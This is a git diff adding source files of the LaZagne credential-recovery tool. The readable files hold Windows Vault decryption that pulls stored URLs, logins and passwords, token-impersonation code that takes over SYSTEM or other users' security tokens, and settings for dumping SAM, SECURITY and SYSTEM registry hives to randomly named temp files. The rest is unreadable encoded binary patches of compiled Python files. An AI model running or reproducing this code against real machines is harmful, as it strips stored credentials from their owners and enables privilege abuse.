self.vault_schema_web_password_unknown1 = data.eat("L") + self.id_identity = data.eat("L") + self.identity = data.eat_length_and_string("L").replace(b"\x00", b"") + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").replace(b"\x00", b"") + self.id_authenticator = data.eat("L") + self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"") + + +class VaultSchemaActiveSync(DataStruct): + """ + Active Sync Credential Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_activesync_unknown1 = None + self.id_identity = None + self.identity = None + self.id_resource = None + self.resource = None + self.id_authenticator = None + self.authenticator = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_activesync_unknown1 = data.eat("L") + self.id_identity = data.eat("L") + self.identity = data.eat_length_and_string("L").replace(b"\x00", b"") + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").replace(b"\x00", b"") + self.id_authenticator = data.eat("L") + self.authenticator = codecs.encode(data.eat_length_and_string("L").replace(b"\x00", b""), 'hex') + + +# Vault Schema Dict +vault_schemas = { + b'ActiveSyncCredentialSchema' : VaultSchemaActiveSync, + b'PIN Logon Vault Resource Schema' : VaultSchemaPin, + b'Windows Web Password Credential' : VaultSchemaWebPassword, +} + + +# =============================================================================== +# VAULT Main Function +# =============================================================================== + + +class Vault(object): + """ + Contains all process to decrypt Vault files + """ + def __init__(self, vaults_dir): + self.vaults_dir = vaults_dir + + def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256): + """ + Helper to decrypt VAULT attributes. + """ + if not vault_attr.size: + return b'', False + + if vault_attr.has_iv: + cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv) + is_attribute_ex = True + else: + cipher = AESModeOfOperationCBC(key_aes128) + is_attribute_ex = False + + data = vault_attr.data + decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + return decypted, is_attribute_ex + + def get_vault_schema(self, guid, base_dir, default_schema): + """ + Helper to get the Vault schema to apply on decoded data. + """ + vault_schema = default_schema + schema_file_path = os.path.join(base_dir.encode(), guid + b'.vsch') + try: + with open(schema_file_path, 'rb') as fschema: + vsch = VaultVsch(fschema.read()) + vault_schema = vault_schemas.get( + vsch.schema_name, + VaultSchemaGeneric + ) + except IOError: + pass + return vault_schema + + def decrypt(self, mkp): + """ + Decrypt one vault file + mkp represent the masterkeypool object + Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html + """ + vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol') + if not os.path.exists(vpol_filename): + return False, u'Policy file not found: {file}'.format(file=vpol_filename) + + with open(vpol_filename, 'rb') as fin: + vpol = VaultPolicy(fin.read()) + + ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp) + if not ok: + return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted) + + vpol_keys = VaultPolicyKeys(vpol_decrypted) + key_aes128 = vpol_keys.vpol_key1.key + key_aes256 = vpol_keys.vpol_key2.key + + for file in os.listdir(self.vaults_dir): + if file.lower().endswith('.vcrd'): + filepath = os.path.join(self.vaults_dir, file) + attributes_data = {} + + with open(filepath, 'rb') as fin: + vcrd = VaultVcrd(fin.read()) + + current_vault_schema = self.get_vault_schema( + guid=vcrd.schema_guid.upper(), + base_dir=self.vaults_dir, + default_schema=VaultSchemaGeneric + ) + for attribute in vcrd.attributes: + fin.seek(attribute.offset) + + v_attribute = VaultAttribute(fin.read()) + # print('-id: ', v_attribute.id) + # print('-size: ', v_attribute.size) + # print('-data: ', repr(v_attribute.data)) + # print('-has_iv: ', v_attribute.has_iv) + # print('-iv: ', repr(v_attribute.iv)) + + decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256) + if is_attribute_ex: + schema = current_vault_schema + else: + # schema = VAULT_SCHEMA_SIMPLE + continue + + attributes_data[attribute.id] = { + 'data': decrypted, + 'schema': schema + } + + # Parse value found + for k, v in sorted(attributes_data.items()): + # Parse decrypted data depending on its schema + dataout = v['schema'](v['data']) + + if dataout: + return True, { + 'URL': dataout.resource, + 'Login': dataout.identity, + 'Password': dataout.authenticator, + 'File': filepath, + } + + return False, 'No .vcrd file found. Nothing to decrypt.' \ No newline at end of file diff --git a/lazagne/config/__init__.py b/lazagne/config/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/config/change_privileges.py b/lazagne/config/change_privileges.py new file mode 100644 index 0000000..84ca6a7 --- /dev/null +++ b/lazagne/config/change_privileges.py @@ -0,0 +1,220 @@ +# -*- coding: utf-8 -*- +# Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py + +import sys +import traceback + +from lazagne.config.write_output import print_debug +from lazagne.config.winstructure import * + +import os + + +def get_token_info(hToken): + """ + Retrieve SID and user owner from Token + """ + dwSize = DWORD(0) + pStringSid = LPWSTR() + TokenUser = 1 + + if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0: + address = LocalAlloc(0x0040, dwSize) + if address: + GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)) + pToken_User = cast(address, POINTER(TOKEN_USER)) + if pToken_User.contents.User.Sid: + ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid)) + owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid) + if pStringSid: + sid = pStringSid.value + LocalFree(address) + return sid, owner + return None, None + + +def enable_privilege(privilegeStr, hToken=None): + """ + Enable Privilege on token, if no token is given the function gets the token of the current process. + """ + if hToken == None: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if not hToken: + return False + + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid()) + if not hProcess: + return False + + OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken)) + e = GetLastError() + if e != 0: + return False + CloseHandle(hProcess) + + privilege_id = LUID() + LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id)) + e = GetLastError() + if e != 0: + return False + + SE_PRIVILEGE_ENABLED = 0x00000002 + laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED) + tp = TOKEN_PRIVILEGES(1, laa) + + AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None) + e = GetLastError() + if e != 0: + return False + return True + + +def get_debug_privilege(): + """ + Enable SE Debug privilege on token + """ + return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE) + + +def list_sids(): + """ + List all SID by process + """ + sids = [] + for pid in EnumProcesses(): + if pid <= 4: + continue + + try: + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) + if not hProcess: + continue + + hToken = HANDLE(INVALID_HANDLE_VALUE) + if OpenProcessToken(hProcess, tokenprivs, byref(hToken)): + if hToken: + token_sid, owner = get_token_info(hToken) + if token_sid and owner: + pname = '' + sids.append((pid, pname, token_sid, owner)) + CloseHandle(hToken) + + CloseHandle(hProcess) + + except Exception as e: + print_debug('DEBUG', traceback.format_exc()) + continue + + return list(sids) + + +def get_sid_token(token_sid): + if token_sid == "S-1-5-18": + sids = list_sids() + for sid in sids: + if "winlogon" in sid[1].lower(): + try: + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0]) + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + print_debug('INFO', u'Using PID: ' + str(sid[0])) + CloseHandle(hProcess) + return hToken + + # CloseHandle(hToken) + CloseHandle(hProcess) + except Exception as e: + print_debug('ERROR', u'{error}'.format(error=e)) + break + return False + + for pid in EnumProcesses(): + if pid <= 4: + continue + + try: + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + sid, owner = get_token_info(hToken) + if sid == token_sid: + print_debug('INFO', u'Impersonate token from pid: ' + str(pid)) + CloseHandle(hProcess) + return hToken + CloseHandle(hToken) + CloseHandle(hProcess) + except Exception as e: + print_debug('ERROR', u'{error}'.format(error=e)) + + return False + + +def impersonate_sid(sid, close=True): + """ + Try to impersonate an SID + """ + hToken = get_sid_token(sid) + if hToken: + hTokendupe = impersonate_token(hToken) + if hTokendupe: + if close: + CloseHandle(hTokendupe) + return hTokendupe + return False + + +global_ref = None + + +def impersonate_sid_long_handle(*args, **kwargs): + """ + Try to impersonate an SID + """ + global global_ref + hTokendupe = impersonate_sid(*args, **kwargs) + if not hTokendupe: + return False + + if global_ref: + CloseHandle(global_ref) + + global_ref = hTokendupe + return addressof(hTokendupe) + + +def impersonate_token(hToken): + """ + Impersonate token - Need admin privilege + """ + if get_debug_privilege(): + hTokendupe = HANDLE(INVALID_HANDLE_VALUE) + if hTokendupe: + SecurityImpersonation = 2 + TokenPrimary = 1 + if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)): + CloseHandle(hToken) + if ImpersonateLoggedOnUser(hTokendupe): + return hTokendupe + else: + print_debug('DEBUG', 'Get debug privilege failed') + return False + + +def rev2self(): + """ + Back to previous token priv + """ + global global_ref + RevertToSelf() + try: + if global_ref: + CloseHandle(global_ref) + except Exception: + pass + global_ref = None diff --git a/lazagne/config/constant.py b/lazagne/config/constant.py new file mode 100644 index 0000000..b466c16 --- /dev/null +++ b/lazagne/config/constant.py @@ -0,0 +1,61 @@ +# -*- coding: utf-8 -*- +import tempfile +import random +import string +import time +import os + +date = time.strftime("%d%m%Y_%H%M%S") +tmp = tempfile.gettempdir() + + +class constant(): + folder_name = '.' + file_name_results = 'credentials_{current_time}'.format( + current_time=date + ) # The extension is added depending on the user output choice + max_help = 27 + CURRENT_VERSION = '2.4.4' + output = None + modules_dic = {} + nb_password_found = 0 # Total password found + password_found = [] # Tab containing all passwords used for dictionary attack + stdout_result = [] # Tab containing all results by user + pypykatz_result = {} + finalResults = {} + profile = { + 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', + 'USERPROFILE': u'{drive}:\\Users\\{user}\\', + 'HOMEDRIVE': u'{drive}:', + 'HOMEPATH': u'{drive}:\\Users\\{user}', + 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', + 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', + 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', + } + username = u'' + keepass = {} + hives = { + 'sam': os.path.join( + tmp, + ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), + 'security': os.path.join( + tmp, + ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), + 'system': os.path.join( + tmp, + ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])) + } + quiet_mode = False + st = None # Standard output + drive = u'C' + user_dpapi = None + system_dpapi = None + lsa_secrets = None + is_current_user = False # If True, Windows API are used otherwise dpapi is used + user_password = None + wifi_password = False # Check if the module as already be done + module_to_exec_at_end = { + "winapi": [], + "dpapi": [], + } + dpapi_cache = {} \ No newline at end of file diff --git a/lazagne/config/crypto/__init__.py b/lazagne/config/crypto/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/config/crypto/__pycache__/__init__.cpython-37.pyc b/lazagne/config/crypto/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..3a1c49dbed652625c9e75e93acc1ee3bb66e14a0 GIT binary patch literal 153 zcmZ?b<>g`k0?yb|aUl9Jh=2h`Aj1KOi&=m~3PUi1CZpdg`k0?yb|aUl9Jh(HF6K#l_t7qb9~6oz01O-8?!3`HPe1o6vVKR2&LKO;S@ zSl=TtIa}W+KRq)~za&3Dr%KE fK0Y%qvm`!Vub}c4hfQvNN@-529ms;uK+FIDzQiYb literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/__pycache__/__init__.cpython-39.pyc b/lazagne/config/crypto/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..9a796f919f2e44a910d661dfcaf0860b9fa8c2cb GIT binary patch literal 186 zcmYe~<>g`k0?yb|aUl9Jh(HF6K#l_t7qb9~6oz01O-8?!3`HPe1o10gKeRZts93)s zu}t43Ke;qFHLs*t-#I70G$ptsu_QA;Pv0XkIa}W+KRq)~za&3Dr%KEK0Y%qvm`!Vub}c4hfQvNN@-529mwL(K+FID DMJq7r literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/__pycache__/pyDes.cpython-37.pyc b/lazagne/config/crypto/__pycache__/pyDes.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..39efeef069e6283cb08566c04a42cf9aec36db4f GIT binary patch literal 22380 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 literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/__pycache__/pyDes.cpython-38.pyc b/lazagne/config/crypto/__pycache__/pyDes.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..997c09c29222f3e70f7ed3a0b1608e77ecab2d09 GIT binary patch literal 23319 zcmeHvYiwLecHVt;vw8VYlcHYp+B+I)hdo14kD)Y_L}?{anziP^QAQf=4vpDHv+I&- zKDw!UFEztX%RxrtU1JR=<2bhC7;&g1>qJR_Bu<=%6F*=WhHdzVe;E1E$Ui4P8VKMY zL6Xe`#^(D@-Fy2%N~2lL1_3f8y1MG#s#B*E`>~<2e(s(< z-;Z*i%AuU|`%!jL?pH3#u9OFqb=@col-}z%jEmm-M&Ntvo6)UW)vK(nulj3#H7Z3F z6l;rKbj$ZHU%Bp;s>-|Z&edygUXh|-EeD(HQmM4MR0}H6t+jB{b!S&gVdzz=m8eo$ zt<(jKdt`?{cYX7+A5JPi9AEJ_C%hkDt116|d|$oEbiJhFFL_>wt4Bcv2o@i^l?&J& z|BjsZE^S7B=#^_29Pq0y$UMM!ZLa$hUb$5D7JSbK-TWYds!4KX_L4V#Wz{c7L9JRT zd$R<7sa9Jl5EETz_R_33KD)V&#@?mXT6x8ry`@K0aIfCfNMgt-GFSD4csEO{8@?XO zgtxX4MnodqSYKbQ_{ys+dK)1rL+~8aWP;h7esw9jm9~hfH0ffRq_fVxl7UZnp&tp6 zS*v`j6qL#l@EyN)@p5tQ?RVa~_-4V2YUtAU)JA}Qlio_Jt6og8qskXX^J?pUAlwvs zs#f*A4?sBpuaMcos8lTjS@a__@tN2t4pORiAVcaBwQFz8UO!n#aOpzO`(ZJ2uX=%B zuC0L~R5IqYFAsPVqY1ARl3rDBv$o+?{W~C5)yKR5hYxB&u<4Z+Y8w%j;wFbGgQ$ez 